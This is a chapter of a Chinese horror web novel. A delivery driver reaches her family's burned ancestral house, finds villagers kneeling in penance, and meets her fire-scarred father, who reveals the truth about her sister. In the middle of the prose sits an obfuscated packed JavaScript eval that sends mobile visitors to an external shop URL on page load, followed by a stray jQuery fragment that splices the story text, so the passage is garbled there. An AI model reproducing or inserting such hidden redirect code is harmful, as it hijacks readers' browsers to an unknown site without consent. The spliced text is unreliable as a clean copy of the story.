姜迟一脚踩死了刹车。
车停在村道中间，前后都是黑的，只有天边那点灰白越来越亮。车厢里的动静隔着隔断传过来，女人的声音，孩子的嗡嗡声，还有乘客们椅子挪动的吱呀声。
“开门！”女人拍打车厢壁，“师傅，到村东头了，开门！”
姜迟没有动。
她盯着备注栏。那两行字还在，停车，快停车，别开进村子。
“你不开门，我自己开！”女人的声音变了，拍门声变得又急又重，砰，砰，砰，每一下都像是砸在她的后脑上。
姜迟解开了安全带，但没有去开后门。
她下了车，绕到车厢侧面，抬手敲了敲隔板。
“都听着。”她说，“谁也不许开门。谁开门，这单就毁了，大家一起死。”
拍门声停了。
车厢里安静了几秒，然后女人的声音贴着隔板缝传出来，又低又软，跟刚才的急躁判若两人。
“师傅，我就是带孩子回家。”她说，“天都亮了，你行行好。”
“你家在哪？”
“村东头。”女人说，“姜家老宅边上，我就住那。”
姜迟的目光越过车厢，看向村子的深处。
村道往前两百多米，拐个弯，地势高起来，那里立着一栋宅子。青砖墙，黑瓦，门楼塌了半边，院墙上爬满了枯藤。整个村子都是黑的，只有那栋宅子，门楼上挂着两盏白灯笼，亮着幽幽的光。
姜家老宅。
她的订单收货地。
宅子门口站着一个人影，一动不动，像是在等。
“你们在车上待着。”姜迟对着隔板说，“我去看签收。签收完了，再放你们下车。”
她没等车厢里的人应声，抬脚朝老宅走去。
走近了，她看清门口那个人影。
是个老婆子，佝偻着背，拄着一根拐棍，穿一身黑布衣裳，头上包着黑帕子。她站在门槛外，白灯笼的光从上往下照，把她的脸照得蜡黄。
“来了。”老婆子开口，声音又干又哑。
“您是签收人？”
“我是看门的。”老婆子说，“签收在里头。货呢？”
“在车上。”姜迟说，“签收之前，我有几句话想问。”
“问。”
“这宅子不是烧了吗？”
老婆子抬起眼皮看她。那双眼睛浑浊，白多黑少，看人的时候不聚焦。
“宅子是烧了。”她说，“人不是没死绝吗。”
“签收的是谁？”
“你进去了就知道。”老婆子侧过身，让开门口，“进来吧，就你一个人。货在外头等着，签完了自然会叫她们。”
姜迟站在门口，没有进去。
门里是一条院子，青砖墁地，正中一条甬道，直通正屋。正屋的门开着，里面黑黢黢的，看不见摆设。白灯笼的光照进院子，照出甬道两边的东西。
两边跪着人。
一院子的人，男女老少，一排一排，跪得整整齐齐，头贴着地，一动不动。白灯笼的光照在他们的背上，他们连呼吸的起伏都没有。
姜迟的头皮炸了。
“他们是谁？”她问。
“村里人。”老婆子说，“十九年前欠了债的。跪到现在了。”
“什么债？”
“火债。”老婆子说，“那年的火，烧死了姜家四口。村里人锁了门，没有一家去救。火灭了以后，路就找上门了。欠路的，跪到现在，什么时候债清了，什么时候起来。”
姜迟盯着那一院子跪着的人。
“姜家四口？”她慢慢地问，“哪四口？”
老婆子看着她，浑浊的眼睛里忽然透出一点光。
“老爷，太太，大小姐。”老婆子掰着手指头，然后看着她，“还有一个，记不清了。年头太久了，那第四口人，是谁，长什么样，没人记得了。”
姜迟的心跳得飞快。
没人记得的第四口人。
她站在门槛上，忽然想起自己的那些记忆。弟弟，全家福，妈妈的话。这些记忆，有多少是她自己的，有多少是路填给她的。
“我进去。”她说，“但我有个条件。车上的货，你一根指头都不许碰，签收之前，她们少一根头发，我烧了这宅子。”
老婆子笑了，露出稀稀落落的牙。
“进去吧。”她说，“里头那位等急了。”
姜迟跨过门槛。
院子里的跪着的村人，在她经过的时候，齐刷刷地抖了一下，像风扫过麦田。她没看他们，沿着甬道走到正屋门口。
正屋里黑着，她迈进去，眼睛适应了几秒，看清了屋里的摆设。
只剩四壁。没有家具，没有供桌，正中立着一块牌位，牌位前点着一豆油灯。油灯的火苗黄豆大，照着牌位上的字。
她走近了，看清牌位上刻的字。
【姜氏先祖之位】
牌位后面，站着一个人。
那人背对着她，穿一件旧的中山装，个子很高，肩膀很宽。油灯的光照着他的背影，把他投在墙上的影子拉得老长。
姜迟的脚步钉在了原地。
那个背影她不认识，又熟悉得让她心慌。她没见过这个人，可她的身体认得，她的骨头认得。
“迟迟。”那个人开口了，没有转身。
声音很哑，像是很多年没有说过话。
姜迟的喉咙发紧，一个字都吐不出来。
“长这么大了。”那个人说，“跟你妈一个模子。”
“你是谁？”姜迟终于挤出声音。
那个人转过身来。
油灯的光照亮他的脸。那是一张被火烧过的脸，皮肤一块一块地皱缩着，五官的轮廓还在，眉毛烧没了，嘴唇烧得翻起，一只眼睛是白翳。
可她还是认出来了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947447|214093||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
家里的旧相框，爸妈的结婚照，男人穿着中山装，站在妈妈旁边，笑得拘谨。那张脸她看了二十六年。
“爸。”她说。
那个人看着她，那只独眼里有水光闪了一下。
“哎。”他说。
姜迟站在原地，浑身的血都冲上了头，又忽然凉下去。她该扑过去的，该哭该喊的，可她一步都动不了。
太多问题了。他怎么在这。他怎么变成这样。妈妈呢。姐姐呢。十九年前到底发生了什么。
可她问出来的第一句话是：
“我没姐姐吗？”
那个人看着她，看了很久很久。
油灯的火苗跳了一下。
“有。”他说，“你有一个姐姐。她的名字叫姜禾。”
“那弟弟呢？”姜迟听见自己的声音在抖，“我记忆里有个弟弟。我养了他三年，我给他交学费，我给他做饭。他是谁？”
“没有弟弟。”她爸说，“那是路给你的。迟迟，你上车那年，路收了你一样东西当运费。它收走的是你姐。”
“找零的时候，它怕你发现自己空了，就给你塞了一个假的。”
姜迟站在那，听着这些话，一个字一个字地砸进脑子里。
她想起那个每周给她发话费提醒的旧号码。想起她按时打过去的生活费。想起那个总是不在服务区、从来不接视频的“弟弟”。
原来那不是她弟。
那是路给她塞的，一个用来填坑的，假人。
“姐呢？”她问，“我姐在哪？”
她爸没有回答。
他转过身，看着那块牌位，独眼里那点水光终于淌了下来，顺着烧伤的脸往下爬。
“你姐在这。”他说，“十九年前，她被路收走的那天，我用一件东西把她换下来了。”
“什么东西？”
“我。”她爸说，“我把自己押给了路，换她留了半条命。她进不了轮回，上不了路，她就留在这宅子里，一年等一天。”
他转回头，看着她。
“今天就是那个日子。”他说，“你把她带来了。我听见车声的时候，就知道是你。”
院外，车厢的方向，忽然传来女人尖利的喊声。
“到了！到了！姜家到了！”
紧接着是婴儿的哭声，和老太太的哭喊声混成一团。
姜迟猛地转身往外跑。
她冲出院子，冲过甬道，那一院子跪着的人不知何时已经站了起来，全都面朝大门，面朝她的车。
车厢门开着。
那个穿罩衫的女人抱着孩子站在车边，八个乘客一个接一个，正往车下走。
女人怀里的孩子，不知何时已经转过了脸。
那张脸上有了五官。眉眼鼻子嘴，一样不缺，白白净净，是个很漂亮的孩子。
孩子冲着姜迟，笑了。
那张脸，是她自己的脸。